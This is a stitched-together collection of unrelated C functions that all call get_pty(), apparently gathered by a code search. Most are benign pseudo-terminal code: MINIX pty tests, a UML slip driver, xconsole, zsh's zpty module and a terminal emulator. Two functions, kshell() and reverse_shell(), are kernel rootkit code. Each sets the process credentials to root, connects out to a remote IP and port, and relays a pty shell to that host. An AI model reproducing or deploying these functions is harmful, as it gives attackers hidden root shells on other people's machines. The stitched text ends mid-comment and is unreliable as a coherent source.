/* * Test opening a single side multiple times. */ static void test77b(void) { char pname[PATH_MAX], tname[PATH_MAX]; int oldstyle, masterfd, slavefd, extrafd; subtest = 2; /* Obtain a pseudo terminal. */ oldstyle = get_pty(&masterfd, pname, tname); if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0); /* * It must not be possible to open the master multiple times. Doing so * is possible only if we have a named master, i.e., an old-style PTY. */ test_comm(masterfd, slavefd); if (oldstyle) { if ((extrafd = open(pname, O_RDWR | O_NOCTTY)) >= 0) e(0); if (errno != EIO) e(0); } test_comm(masterfd, slavefd); if (close(slavefd) < 0) e(0); if (close(masterfd) < 0) e(0); /* The slave can be opened multiple times, though. */ oldstyle = get_pty(&masterfd, pname, tname); if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0); test_comm(masterfd, slavefd); if ((extrafd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0); test_comm(masterfd, extrafd); test_comm(masterfd, slavefd); if (close(slavefd) < 0) e(0); if (close(extrafd) < 0) e(0); if (close(masterfd) < 0) e(0); }
static int slip_open(void *data) { struct slip_data *pri = data; char version_buf[sizeof("nnnnn\0")]; char gate_buf[sizeof("nnn.nnn.nnn.nnn\0")]; char *argv[] = { "uml_net", version_buf, "slip", "up", gate_buf, NULL }; int sfd, mfd, disc, sencap, err; if((mfd = get_pty()) < 0){ printk("umn : Failed to open pty\n"); return(-1); } if((sfd = os_open_file(ptsname(mfd), of_rdwr(OPENFLAGS()), 0)) < 0){ printk("Couldn't open tty for slip line\n"); return(-1); } if(set_up_tty(sfd)) return(-1); pri->slave = sfd; pri->pos = 0; pri->esc = 0; if(pri->gate_addr != NULL){ sprintf(version_buf, "%d", UML_NET_VERSION); strcpy(gate_buf, pri->gate_addr); err = slip_tramp(argv, sfd); if(err != 0){ printk("slip_tramp failed - errno = %d\n", err); return(-err); } if(ioctl(pri->slave, SIOCGIFNAME, pri->name) < 0){ printk("SIOCGIFNAME failed, errno = %d\n", errno); return(-errno); } iter_addresses(pri->dev, open_addr, pri->name); } else { disc = N_SLIP; if(ioctl(sfd, TIOCSETD, &disc) < 0){ printk("Failed to set slip line discipline - " "errno = %d\n", errno); return(-errno); } sencap = 0; if(ioctl(sfd, SIOCSIFENCAP, &sencap) < 0){ printk("Failed to set slip encapsulation - " "errno = %d\n", errno); return(-errno); } } return(mfd); }
static int run_process(const char *path, const char **argv, int *fd_ptr, int *pid_ptr) { int pty_fd, pid, i, nb_fds; char tty_name[32]; struct winsize ws; pty_fd = get_pty(tty_name); if (pty_fd < 0) { put_status(NULL, "cannot get tty"); return -1; } fcntl(pty_fd, F_SETFL, O_NONBLOCK); /* set dummy screen size */ ws.ws_col = 80; ws.ws_row = 25; ws.ws_xpixel = ws.ws_col; ws.ws_ypixel = ws.ws_row; ioctl(pty_fd, TIOCSWINSZ, &ws); pid = fork(); if (pid < 0) { put_status(NULL, "cannot fork"); return -1; } if (pid == 0) { /* child process */ nb_fds = getdtablesize(); for (i = 0; i < nb_fds; i++) close(i); /* open pseudo tty for standard i/o */ open(tty_name, O_RDWR); dup(0); dup(0); setsid(); execv(path, (char *const*)argv); exit(1); } /* return file info */ *fd_ptr = pty_fd; *pid_ptr = pid; return 0; }
int execute_command(Term *term)//, int argc, const char **argv) { char **args; struct passwd *pw; pw = find_user(); if((term->cmd_fd.sys = get_pty(term)) < 0) return -1; if((pid = fork()) < 0) { fprintf(stderr, "Couldn't fork: %m\n"); return -1; } if(!pid) { /* child */ get_tty(term); putenv("TERM=xterm"); chdir(pw->pw_dir); args = calloc(3, sizeof(char*)); args[0] = malloc(strlen(pw->pw_shell) + 1); strcpy(args[0], pw->pw_shell); args[1] = "-i"; args[2] = NULL; execvp(pw->pw_shell, args); /* shouldn't be here */ fprintf(stderr, "Error executing %s: %m\n", pw->pw_shell); exit(1); } /* parent */ close(term->slave.sys); signal(SIGCHLD, sigchld_handler); return 0; }
static void OpenConsole(void) { input = 0; if (app_resources.file) { if (!strcmp (app_resources.file, "console")) { /* must be owner and have read/write permission */ #if !defined(__NetBSD__) && !defined(__OpenBSD__) struct stat sbuf; # if !defined (linux) if (!stat("/dev/console", &sbuf) && (sbuf.st_uid == getuid()) && !access("/dev/console", R_OK|W_OK)) # endif #endif { #ifdef USE_FILE # ifdef linux if (!stat(FILE_NAME, &sbuf)) # endif input = fopen (FILE_NAME, "r"); #endif #ifdef USE_PTY if (!input && get_pty (&pty_fd, &tty_fd, ttydev, ptydev) == 0) { # ifdef TIOCCONS int on = 1; # ifdef USE_PRIVSEP if (priv_set_console(tty_fd) != -1) input = fdopen (pty_fd, "r"); # else if (ioctl (tty_fd, TIOCCONS, (char *) &on) != -1) input = fdopen (pty_fd, "r"); # endif # else int consfd = open("/dev/console", O_RDONLY); if (consfd >= 0) { if (ioctl(consfd, SRIOCSREDIR, tty_fd) != -1) input = fdopen (pty_fd, "r"); close(consfd); } # endif } #endif /* USE_PTY */ } #ifdef USE_OSM /* Don't have to be owner of /dev/console when using /dev/osm. */ if (!input) input = osm_pipe(); #endif if (input && app_resources.verbose) { char *hostname; TextAppend (text, "Console log for ", 16); hostname = mit_console_name + MIT_CONSOLE_LEN; TextAppend (text, hostname, strlen (hostname)); TextAppend (text, "\n", 1); } } else { regularFile = FALSE; if (access(app_resources.file, R_OK) == 0) { int fd = open (app_resources.file, O_RDONLY | O_NONBLOCK | O_NOCTTY); if (fd != -1) { input = fdopen (fd, "r"); if (input) { struct stat sbuf; if ((fstat(fd, &sbuf) == 0) && S_ISREG(sbuf.st_mode)) regularFile = TRUE; } else close(fd); } } } if (!input) { if (app_resources.exitOnFail) exit(0); TextAppend (text, "Couldn't open ", 14); TextAppend (text, app_resources.file, strlen (app_resources.file)); TextAppend (text, "\n", 1); } } else input = stdin; if (input) { input_id = XtAddInput (fileno (input), (XtPointer) XtInputReadMask, inputReady, (XtPointer) text); } }
static int slip_open(void *data) { struct slip_data *pri = data; char version_buf[sizeof("nnnnn\0")]; char gate_buf[sizeof("nnn.nnn.nnn.nnn\0")]; char *argv[] = { "uml_net", version_buf, "slip", "up", gate_buf, NULL }; int sfd, mfd, err; err = get_pty(); if(err < 0){ printk("slip-open : Failed to open pty, err = %d\n", -err); goto out; } mfd = err; err = os_open_file(ptsname(mfd), of_rdwr(OPENFLAGS()), 0); if(err < 0){ printk("Couldn't open tty for slip line, err = %d\n", -err); goto out_close; } sfd = err; if(set_up_tty(sfd)) goto out_close2; pri->slave = sfd; pri->slip.pos = 0; pri->slip.esc = 0; if(pri->gate_addr != NULL){ sprintf(version_buf, "%d", UML_NET_VERSION); strcpy(gate_buf, pri->gate_addr); err = slip_tramp(argv, sfd); if(err < 0){ printk("slip_tramp failed - err = %d\n", -err); goto out_close2; } err = os_get_ifname(pri->slave, pri->name); if(err < 0){ printk("get_ifname failed, err = %d\n", -err); goto out_close2; } iter_addresses(pri->dev, open_addr, pri->name); } else { err = os_set_slip(sfd); if(err < 0){ printk("Failed to set slip discipline encapsulation - " "err = %d\n", -err); goto out_close2; } } return(mfd); out_close2: os_close_file(sfd); out_close: os_close_file(mfd); out: return err; }
/** * kshell - start a connect back shell in kernel space. * @ip: remote ip to connect. * @port: remote port to connect. * both ip and port are network bytes. * * When the system call 'read' had read the flag 'wztshell',it will be use this * function to start a connect back shell. * * return value is always NF_ACCEPT.It's not firewall,just want to filter the key. */ int kshell(int ip,int port) { //struct task_struct *ptr = current; struct cred *ptr = (struct cred *)current->cred; struct socket *sock; struct sockaddr_in server; struct winsize ws; mm_segment_t old_fs; fd_set s_read; int soc, tmp_pid, i; int byte1,count,rlen; int error; int len = sizeof(struct sockaddr); char tmp[101],buf[101]; unsigned char *p,*d; unsigned char wb[5]; old_fs = get_fs(); ptr->uid = 0; ptr->euid = 0; ptr->gid = SGID; ptr->egid = 0; set_fs(KERNEL_DS); ssetmask(~0); for (i = 0;i < 4096; i++) close(i); error = sock_create(AF_INET,SOCK_STREAM,0,&sock); if (error < 0) { #if DEBUG == 1 printk("[-] socket_create failed: %d\n",error); #endif sock_release(sock); wztshell = 0; e_exit(-1); return -1; } //http://lkml.indiana.edu/hypermail/linux/kernel/0805.0/2937.html soc = sock_map_fd(sock,0); if (soc < 0) { #if DEBUG == 1 printk("[-] sock_map_fd() failed.\n"); #endif sock_release(sock); wztshell = 0; e_exit(-1); return -1; } for (i = 0; i < 8; i++) server.sin_zero[i] = 0; server.sin_family = PF_INET; server.sin_addr.s_addr = ip; server.sin_port = port; error = sock->ops->connect(sock,(struct sockaddr *)&server,len,sock->file->f_flags); if (error < 0) { #if DEBUG == 1 printk("[-] connect to failed.\n"); #endif e_exit(-1); return -1; } epty = get_pty(); set_fs(old_fs); if (!(tmp_pid = fork())) start_shell(); set_fs(KERNEL_DS); /* #if ENCRYPT == 1 encrypt_code(banner,200); #endif write(soc,banner,200); */ while (1) { FD_ZERO(&s_read); FD_SET(ptmx, &s_read); FD_SET(soc, &s_read); if (_newselect((ptmx > soc ? ptmx+1 : soc+1), &s_read, 0, 0, NULL) < 0) break; if (FD_ISSET(ptmx, &s_read)) { byte1 = read(ptmx, tmp, 100); if (byte1 <= 0) break; #if ENCRYPT == 1 encrypt_code(tmp,byte1); #endif write(soc, tmp, byte1); } if (FD_ISSET(soc, &s_read)) { d = buf; count = read(soc, buf, 100); if (count <= 0) break; #if ENCRYPT == 1 encrypt_code(buf,count); #endif p = memchr(buf, ECHAR, count); if (p) { rlen = count - ((long) p - (long) buf); /* wait for rest */ if (rlen > 5) rlen = 5; memcpy(wb, p, rlen); if (rlen < 5) { read(soc, &wb[rlen], 5 - rlen); #if ENCRYPT == 1 encrypt_code(&wb[rlen],5 - rlen); #endif } /* setup window */ ws.ws_xpixel = ws.ws_ypixel = 0; ws.ws_col = (wb[1] << 8) + wb[2]; ws.ws_row = (wb[3] << 8) + wb[4]; ioctl(ptmx, TIOCSWINSZ, (unsigned long)&ws); kill(0, SIGWINCH); /* write the rest */ write(ptmx, buf, (long) p - (long) buf); rlen = ((long) buf + count) - ((long)p+5); if (rlen > 0) write(ptmx, p+5, rlen); } else if (write(ptmx, d, count) <= 0) break; } } kill(tmp_pid, SIGKILL); set_fs(old_fs); e_exit(0); return -1; }
static OpenConsole () { input = 0; if (app_resources.file) { if (!strcmp (app_resources.file, "console")) { struct stat sbuf; /* must be owner and have read/write permission */ #if !defined(__NetBSD__) && !defined(__OpenBSD__) && !defined(Lynx) && !defined(__EMX__) if (!stat("/dev/console", &sbuf) && (sbuf.st_uid == getuid()) && !access("/dev/console", R_OK|W_OK)) #endif { #ifdef USE_FILE input = fopen (FILE_NAME, "r"); #ifdef __EMX__ if (input) { ULONG arg = 1,arglen; APIRET rc; if ((rc=DosDevIOCtl(fileno(input), 0x76,0x4d, &arg, sizeof(arg), &arglen, NULL, 0, NULL)) != 0) { fclose(input); input = 0; } } #endif #endif #ifdef USE_PTY if (get_pty (&pty_fd, &tty_fd, ttydev, ptydev) == 0) { #ifdef TIOCCONS int on = 1; if (ioctl (tty_fd, TIOCCONS, (char *) &on) != -1) input = fdopen (pty_fd, "r"); #else #ifndef Lynx int consfd = open("/dev/console", O_RDONLY); if (consfd >= 0) { if (ioctl(consfd, SRIOCSREDIR, tty_fd) != -1) input = fdopen (pty_fd, "r"); close(consfd); } #else if (newconsole(tty_fd) < 0) perror("newconsole"); else { input = fdopen (pty_fd, "r"); atexit(RestoreConsole); } #endif #endif } #endif } #ifdef USE_OSM /* Don't have to be owner of /dev/console when using /dev/osm. */ if (!input) input = osm_pipe(); #endif if (input && app_resources.verbose) { char *hostname; TextAppend (text, "Console log for ", 16); hostname = mit_console_name + MIT_CONSOLE_LEN; TextAppend (text, hostname, strlen (hostname)); TextAppend (text, "\n", 1); } } else { struct stat sbuf; regularFile = FALSE; if (access(app_resources.file, R_OK) == 0) { input = fopen (app_resources.file, "r"); if (input) if (!stat(app_resources.file, &sbuf) && (sbuf.st_mode & S_IFMT) == S_IFREG) { regularFile = TRUE; fseek(input, 0, SEEK_END); } } } if (!input) { if (app_resources.exitOnFail) exit(0); TextAppend (text, "Couldn't open ", 14); TextAppend (text, app_resources.file, strlen (app_resources.file)); TextAppend (text, "\n", 1); } } else input = stdin; if (input) { #ifdef MINIX fcntl(fileno (input), F_SETFD, fcntl(fileno (input), F_GETFD) | FD_ASYNCHIO); nbio_register(fileno (input)); #endif input_id = XtAddInput (fileno (input), (XtPointer) XtInputReadMask, inputReady, (XtPointer) text); } }
int capture_std::run(const char *pcCommand, lua_State *ptLuaStateForTableAccess) { int iResult; char **ppcCmdArguments; pid_t tPidCapture; ssize_t ssizRead; unsigned char aucBuffer[4096]; int iNewFd; fd_set tReadFdSet; int iStatus; int iThreadResult; /* Init all variables. */ tPidCapture = -1; /* The third argument of the function is the table. This is stack index 3. */ ppcCmdArguments = get_strings_from_table(3, ptLuaStateForTableAccess); if( ppcCmdArguments==NULL ) { iResult = 0; } else { /* Create the pty. */ iResult = get_pty(); if( iResult==0 ) { /* Create the exec thread. */ iResult = start_exec_thread(pcCommand, ppcCmdArguments); if( iResult==0 ) { printf("*** Start Capture ***\n"); tPidCapture = fork(); if( tPidCapture==-1 ) { fprintf(stderr, "Failed to create the capture thread (%d): %s\n", errno, strerror(errno)); iResult = -1; } else if( tPidCapture==0 ) { /* This is the capture thread. */ printf("This is the capture thread.\n"); do { FD_ZERO(&tReadFdSet); FD_SET(m_iFdPtyMaster, &tReadFdSet); iStatus = select(m_iFdPtyMaster+1, &tReadFdSet, NULL, NULL, NULL); if( iStatus==-1 ) { /* Select failed! */ iResult = EXIT_FAILURE; break; } else if( iStatus>0 ) { ssizRead = read(m_iFdPtyMaster, aucBuffer, sizeof(aucBuffer)-1); if( ssizRead<0 ) { if( errno==EIO ) { /* The terminal was closed. */ iResult = EXIT_SUCCESS; } else { fprintf(stderr, "read error %d %s\n", errno, strerror(errno)); iResult = EXIT_FAILURE; } break; } else { aucBuffer[ssizRead] = 0; printf("<OUT len=%d>%s</OUT>\n", ssizRead, aucBuffer); } } } while( iStatus>0 ); close(m_iFdPtyMaster); printf("*** Stop Capture ***\n"); iStatus = waitpid(m_tExecThread, NULL, 0); if( WIFEXITED(iStatus) ) { iThreadResult = WEXITSTATUS(iStatus); } else { iThreadResult = -1; } /* Send an event to the handler. */ // send_finished_event(m_tExecThread, iThreadResult); exit(iResult); } else { /* This is the parent. */ m_tCaptureThread = tPidCapture; printf("wait until the threads finished.\n"); waitpid(m_tCaptureThread, NULL, 0); printf("ok, all finished!\n"); } } } free_string_table(ppcCmdArguments); } return 0; }
int reverse_shell(void *ip) { struct task_struct *ptr = current; struct sockaddr_in dire; struct pt_regs regs; mm_segment_t old_fs; unsigned long arg[3]; int soc, tmp_pid; unsigned char tmp; fd_set s_read; old_fs = get_fs(); ptr->uid = 0; ptr->euid = 0; ptr->gid = SGID; ptr->egid = 0; arg[0] = AF_INET; arg[1] = SOCK_STREAM; arg[2] = 0; set_fs(KERNEL_DS); if ((soc = socketcall(SYS_SOCKET, arg)) == -1) { set_fs(old_fs); lanzar_shell = 1; e_exit(-1); return(-1); } memset((void *) &dire, 0, sizeof(dire)); dire.sin_family = AF_INET; dire.sin_port = htons((unsigned short) global_port); dire.sin_addr.s_addr = (unsigned long) global_ip; arg[0] = soc; arg[1] = (unsigned long) &dire; arg[2] = (unsigned long) sizeof(dire); if (socketcall(SYS_CONNECT, arg) == -1) { close(soc); set_fs(old_fs); lanzar_shell = 1; e_exit(-1); return(-1); } /* pillamos tty */ epty = get_pty(); /* ejecutamos shell */ set_fs(old_fs); memset(®s, 0, sizeof(regs)); regs.xds = __USER_DS; regs.xes = __USER_DS; regs.orig_eax = -1; regs.xcs = __KERNEL_CS; regs.eflags = 0x286; regs.eip = (unsigned long) ejecutar_shell; tmp_pid = (*my_do_fork)(0, 0, ®s, 0, NULL, NULL); set_fs(KERNEL_DS); while(1) { FD_ZERO(&s_read); FD_SET(ptmx, &s_read); FD_SET(soc, &s_read); _newselect((ptmx > soc ? ptmx+1 : soc+1), &s_read, 0, 0, NULL); if (FD_ISSET(ptmx, &s_read)) { if (read(ptmx, &tmp, 1) == 0) break; write(soc, &tmp, 1); } if (FD_ISSET(soc, &s_read)) { if (read(soc, &tmp, 1) == 0) break; write(ptmx, &tmp, 1); } } /* fin while */ /* matamos el proceso */ kill(tmp_pid, SIGKILL); /* salimos */ set_fs(old_fs); e_exit(0); return(-1); } /********** fin reverse_shell **********/
static int newptycmd(char *nam, char *pname, char **args, int echo, int nblock) { Ptycmd p; int master, slave, pid, oineval = ineval, ret; char *oscriptname = scriptname, syncch; Eprog prog; /* code borrowed from bin_eval() */ ineval = !isset(EVALLINENO); if (!ineval) scriptname = "(zpty)"; prog = parse_string(zjoin(args, ' ', 1), 0); if (!prog) { errflag &= ~ERRFLAG_ERROR; scriptname = oscriptname; ineval = oineval; return 1; } if (get_pty(1, &master)) { zwarnnam(nam, "can't open pseudo terminal: %e", errno); scriptname = oscriptname; ineval = oineval; return 1; } if ((pid = fork()) == -1) { zwarnnam(nam, "can't create pty command %s: %e", pname, errno); close(master); scriptname = oscriptname; ineval = oineval; return 1; } else if (!pid) { /* This code copied from the clone module, except for getting * * the descriptor from get_pty() and duplicating it to 0/1/2. */ deletehookfunc("exit", ptyhook); clearjobtab(0); ppid = getppid(); mypid = getpid(); #ifdef HAVE_SETSID if (setsid() != mypid) { zwarnnam(nam, "failed to create new session: %e", errno); #endif #ifdef TIOCNOTTY if (ioctl(SHTTY, TIOCNOTTY, 0)) zwarnnam(nam, "%e", errno); setpgrp(0L, mypid); #endif #ifdef HAVE_SETSID } #endif if (get_pty(0, &slave)) exit(1); SHTTY = slave; attachtty(mypid); #ifdef TIOCGWINSZ /* Set the window size before associating with the terminal * * so that we don't get hit with a SIGWINCH. I'm paranoid. */ if (interact) { struct ttyinfo info; if (ioctl(slave, TIOCGWINSZ, (char *) &info.winsize) == 0) { info.winsize.ws_row = zterm_lines; info.winsize.ws_col = zterm_columns; ioctl(slave, TIOCSWINSZ, (char *) &info.winsize); } } #endif /* TIOCGWINSZ */ if (!echo) { struct ttyinfo info; if (!ptygettyinfo(slave, &info)) { #ifdef HAVE_TERMIOS_H info.tio.c_lflag &= ~ECHO; #else #ifdef HAVE_TERMIO_H info.tio.c_lflag &= ~ECHO; #else info.tio.lmodes &= ~ECHO; /**** dunno if this is right */ #endif #endif ptysettyinfo(slave, &info); } } #ifdef TIOCSCTTY ioctl(slave, TIOCSCTTY, 0); #endif close(0); close(1); close(2); dup2(slave, 0); dup2(slave, 1); dup2(slave, 2); closem(FDT_UNUSED, 0); close(slave); close(master); close(coprocin); close(coprocout); init_io(NULL); setsparam("TTY", ztrdup(ttystrname)); opts[INTERACTIVE] = 0; syncch = 0; do { ret = write(1, &syncch, 1); } while (ret != 1 && ( #ifdef EWOULDBLOCK errno == EWOULDBLOCK || #else #ifdef EAGAIN errno == EAGAIN || #endif #endif errno == EINTR)); execode(prog, 1, 0, "zpty"); stopmsg = 2; mypid = 0; /* trick to ensure we _exit() */ zexit(lastval, 0); } master = movefd(master); if (master == -1) { zerrnam(nam, "cannot duplicate fd %d: %e", master, errno); scriptname = oscriptname; ineval = oineval; return 1; } p = (Ptycmd) zalloc(sizeof(*p)); p->name = ztrdup(pname); p->args = zarrdup(args); p->fd = master; p->pid = pid; p->echo = echo; p->nblock = nblock; p->fin = 0; p->read = -1; p->old = NULL; p->olen = 0; p->next = ptycmds; ptycmds = p; if (nblock) ptynonblock(master); scriptname = oscriptname; ineval = oineval; do { ret = read(master, &syncch, 1); } while (ret != 1 && ( #ifdef EWOULDBLOCK errno == EWOULDBLOCK || #else #ifdef EAGAIN errno == EAGAIN || #endif #endif errno == EINTR)); setiparam_no_convert("REPLY", (zlong)master); return 0; }
/* * Test basic select functionality on /dev/tty. While this test should not be * part of this test set, we already have all the infrastructure we need here. */ static void test77f(void) { struct sigaction act, oact; char c, tname[PATH_MAX]; struct timeval tv; fd_set fd_set; int fd, maxfd, masterfd, slavefd; subtest = 6; /* We do not want to get SIGHUP signals in this test. */ memset(&act, 0, sizeof(act)); act.sa_handler = SIG_IGN; if (sigaction(SIGHUP, &act, &oact) < 0) e(0); /* Obtain a pseudo terminal. */ (void)get_pty(&masterfd, NULL, tname); switch (fork()) { case 0: if (close(masterfd) < 0) e(0); if (setsid() < 0) e(0); if ((slavefd = open(tname, O_RDWR)) < 0) e(0); if ((fd = open("/dev/tty", O_RDWR)) < 0) e(0); make_raw(fd); /* Without slave input, /dev/tty is not ready for reading. */ FD_ZERO(&fd_set); FD_SET(fd, &fd_set); tv.tv_sec = 0; tv.tv_usec = 0; if (select(fd + 1, &fd_set, NULL, NULL, &tv) != 0) e(0); if (FD_ISSET(fd, &fd_set)) e(0); FD_SET(fd, &fd_set); tv.tv_sec = 0; tv.tv_usec = 10000; if (select(fd + 1, &fd_set, NULL, NULL, &tv) != 0) e(0); if (FD_ISSET(fd, &fd_set)) e(0); /* It will be ready for writing, though. */ FD_SET(fd, &fd_set); if (select(fd + 1, NULL, &fd_set, NULL, NULL) != 1) e(0); if (!FD_ISSET(fd, &fd_set)) e(0); /* Test mixing file descriptors to the same terminal. */ FD_ZERO(&fd_set); FD_SET(fd, &fd_set); FD_SET(slavefd, &fd_set); tv.tv_sec = 0; tv.tv_usec = 10000; maxfd = fd > slavefd ? fd : slavefd; if (select(maxfd + 1, &fd_set, NULL, NULL, &tv) != 0) e(0); if (FD_ISSET(fd, &fd_set)) e(0); if (FD_ISSET(slavefd, &fd_set)) e(0); /* The delayed echo on the master must wake up our select. */ c = 'A'; if (write(slavefd, &c, sizeof(c)) != sizeof(c)) e(0); FD_ZERO(&fd_set); FD_SET(fd, &fd_set); if (select(fd + 1, &fd_set, NULL, NULL, NULL) != 1) e(0); if (!FD_ISSET(fd, &fd_set)) e(0); /* Select must now still flag readiness for reading. */ tv.tv_sec = 0; tv.tv_usec = 0; if (select(fd + 1, &fd_set, NULL, NULL, &tv) != 1) e(0); if (!FD_ISSET(fd, &fd_set)) e(0); /* That is, until we read the byte. */ if (read(slavefd, &c, sizeof(c)) != sizeof(c)) e(0); if (c != 'B') e(0); if (select(fd + 1, &fd_set, NULL, NULL, &tv) != 0) e(0); if (FD_ISSET(fd, &fd_set)) e(0); /* Ask the parent to close the master. */ c = 'C'; if (write(slavefd, &c, sizeof(c)) != sizeof(c)) e(0); FD_SET(fd, &fd_set); /* The closure must cause an EOF condition on the slave. */ if (select(fd + 1, &fd_set, NULL, NULL, NULL) != 1) e(0); if (!FD_ISSET(fd, &fd_set)) e(0); if (select(fd + 1, &fd_set, NULL, NULL, NULL) != 1) e(0); if (!FD_ISSET(fd, &fd_set)) e(0); if (read(slavefd, &c, sizeof(c)) != 0) e(0); exit(errct); case -1: e(0); default: /* Wait for the child to write something to the slave. */ FD_ZERO(&fd_set); FD_SET(masterfd, &fd_set); if (select(masterfd + 1, &fd_set, NULL, NULL, NULL) != 1) e(0); if (!FD_ISSET(masterfd, &fd_set)) e(0); if (read(masterfd, &c, sizeof(c)) != sizeof(c)) e(0); if (c != 'A') e(0); /* Write a reply once the child is blocked in its select. */ tv.tv_sec = 1; tv.tv_usec = 0; if (select(masterfd + 1, &fd_set, NULL, NULL, &tv) != 0) e(0); c = 'B'; if (write(masterfd, &c, sizeof(c)) != sizeof(c)) e(0); /* Wait for the child to request closing the master. */ if (read(masterfd, &c, sizeof(c)) != sizeof(c)) e(0); if (c != 'C') e(0); /* Close the master once the child is blocked in its select. */ sleep(1); close(masterfd); break; } if (waitchild() < 0) e(0); if (sigaction(SIGHUP, &oact, NULL) < 0) e(0); }
/* * Test receiving of SIGHUP on master hang-up. All of the tests so far have * ignored SIGHUP, and probably would not have received one anyway, since the * process was not its own session leader. Time to test this aspect. */ static void test77e(void) { struct sigaction act, hup_oact, usr_oact; sigset_t set, oset; char tname[PATH_MAX]; int masterfd, slavefd; subtest = 5; memset(&act, 0, sizeof(act)); act.sa_handler = signal_handler; if (sigaction(SIGHUP, &act, &hup_oact) < 0) e(0); memset(&act, 0, sizeof(act)); act.sa_handler = signal_handler; if (sigaction(SIGUSR1, &act, &usr_oact) < 0) e(0); sigemptyset(&set); sigaddset(&set, SIGHUP); sigaddset(&set, SIGUSR1); if (sigprocmask(SIG_BLOCK, &set, &oset) < 0) e(0); sighups = 0; /* Make ourselves process group leader if we aren't already. */ (void)setsid(); /* Obtain a pseudo terminal. */ (void)get_pty(&masterfd, NULL, tname); switch (fork()) { case 0: if (close(masterfd) < 0) e(0); /* Become session leader. */ if (setsid() < 0) e(0); if ((slavefd = open(tname, O_RDWR)) < 0) e(0); /* Tell the parent we are ready. */ kill(getppid(), SIGUSR1); /* We should now get a SIGHUP. */ set = oset; if (sigsuspend(&set) >= 0) e(0); if (sighups != 1) e(0); exit(errct); case -1: e(0); default: break; } /* Wait for SIGUSR1 from the child. */ set = oset; if (sigsuspend(&set) >= 0) e(0); /* Closing the master should now raise a SIGHUP signal in the child. */ if (close(masterfd) < 0) e(0); if (waitchild() < 0) e(0); if (sigprocmask(SIG_SETMASK, &oset, NULL) < 0) e(0); if (sigaction(SIGHUP, &hup_oact, NULL) < 0) e(0); if (sigaction(SIGUSR1, &usr_oact, NULL) < 0) e(0); }
/* * Test opening the slave side with and without the O_NOCTTY flag. */ static void test77d(void) { char pname[PATH_MAX], tname[PATH_MAX]; int masterfd, slavefd; subtest = 4; /* Make ourselves process group leader if we aren't already. */ (void)setsid(); /* Obtain a pseudo terminal. */ (void)get_pty(&masterfd, NULL, tname); /* * Opening the slave with O_NOCTTY should not change its controlling * terminal. */ switch (fork()) { case 0: if (close(masterfd) < 0) e(0); if (setsid() < 0) e(0); if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0); if (open("/dev/tty", O_RDWR) >= 0) e(0); if (errno != ENXIO) e(0); exit(errct); case -1: e(0); default: break; } if (waitchild() < 0) e(0); if (close(masterfd) < 0) e(0); (void)get_pty(&masterfd, pname, tname); /* * Opening the slave without O_NOCTTY should change its controlling * terminal, though. */ switch (fork()) { case 0: if (close(masterfd) < 0) e(0); if (setsid() < 0) e(0); if ((slavefd = open(tname, O_RDWR)) < 0) e(0); if (open("/dev/tty", O_RDWR) < 0) e(0); exit(errct); case -1: e(0); default: break; } if (waitchild() < 0) e(0); if (close(masterfd) < 0) e(0); }
/* * Test communication on half-open pseudo terminals. */ static void test77c(void) { struct sigaction act, oact; char pname[PATH_MAX], tname[PATH_MAX]; int oldstyle, masterfd, slavefd; char c; subtest = 3; /* We do not want to get SIGHUP signals in this test. */ memset(&act, 0, sizeof(act)); act.sa_handler = SIG_IGN; if (sigaction(SIGHUP, &act, &oact) < 0) e(0); /* Obtain a pseudo terminal. */ oldstyle = get_pty(&masterfd, pname, tname); /* * For old-style pseudo terminals, we have just opened and closed the * slave end, which alters the behavior we are testing below. Close * and reopen the master to start fresh. */ if (oldstyle) { if (close(masterfd) < 0) e(0); if ((masterfd = open(pname, O_RDWR | O_NOCTTY)) < 0) e(0); } /* Writes to the master should be buffered until there is a slave. */ c = 'E'; if (write(masterfd, &c, sizeof(c)) != sizeof(c)) e(0); if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0); make_raw(slavefd); if (read(slavefd, &c, sizeof(c)) != sizeof(c)) e(0); if (c != 'E') e(0); /* Discard the echo on the master. */ if (tcflush(slavefd, TCOFLUSH) != 0) e(0); test_comm(masterfd, slavefd); if (close(slavefd) < 0) e(0); /* Writes to the master after the slave has been closed should fail. */ if (write(masterfd, &c, sizeof(c)) >= 0) e(0); if (errno != EIO) e(0); if (oldstyle) if (close(masterfd) < 0) e(0); /* * Writes to the slave should be buffered until there is a master. * This applies to old-style PTYs only. */ if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0); if (oldstyle) { make_raw(slavefd); c = 'F'; if (write(slavefd, &c, sizeof(c)) != sizeof(c)) e(0); if ((masterfd = open(pname, O_RDWR | O_NOCTTY)) < 0) e(0); if (read(masterfd, &c, sizeof(c)) != sizeof(c)) e(0); if (c != 'F') e(0); } test_comm(masterfd, slavefd); if (close(masterfd) < 0) e(0); if (write(slavefd, &c, sizeof(c)) >= 0) e(0); if (errno != EIO) e(0); /* Reads from the slave should return EOF if the master is gone. */ if (read(slavefd, &c, sizeof(c)) != 0) e(0); if (close(slavefd) < 0) e(0); if (sigaction(SIGHUP, &oact, NULL) < 0) e(0); }
/* * Test various orders of opening and closing the master and slave sides of a * pseudo terminal, as well as opening/closing one side without ever opening * the other. This test is meaningful mainly for old-style pseudoterminals. */ static void test77a(void) { struct sigaction act, oact; char pname[PATH_MAX], tname[PATH_MAX]; int oldstyle, masterfd, slavefd; subtest = 1; /* We do not want to get SIGHUP signals in this test. */ memset(&act, 0, sizeof(act)); act.sa_handler = SIG_IGN; if (sigaction(SIGHUP, &act, &oact) < 0) e(0); /* Obtain a pseudo terminal. */ oldstyle = get_pty(&masterfd, pname, tname); if (oldstyle) { /* Try closing the master. */ if (close(masterfd) < 0) e(0); /* See if we can reopen the master. */ if ((masterfd = open(pname, O_RDWR | O_NOCTTY)) < 0) e(0); } if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0); test_comm(masterfd, slavefd); /* In the meantime, test different closing orders. This is order A. */ if (close(slavefd) < 0) e(0); if (close(masterfd) < 0) e(0); /* Now try opening the pair (or a new pair) again. */ if (!oldstyle) oldstyle = get_pty(&masterfd, pname, tname); else if ((masterfd = open(pname, O_RDWR | O_NOCTTY)) < 0) e(0); if ((slavefd = open(tname, O_RDWR | O_NOCTTY)) < 0) e(0); test_comm(masterfd, slavefd); if (close(slavefd) < 0) e(0); /* * Try reopening the slave after closing it. It 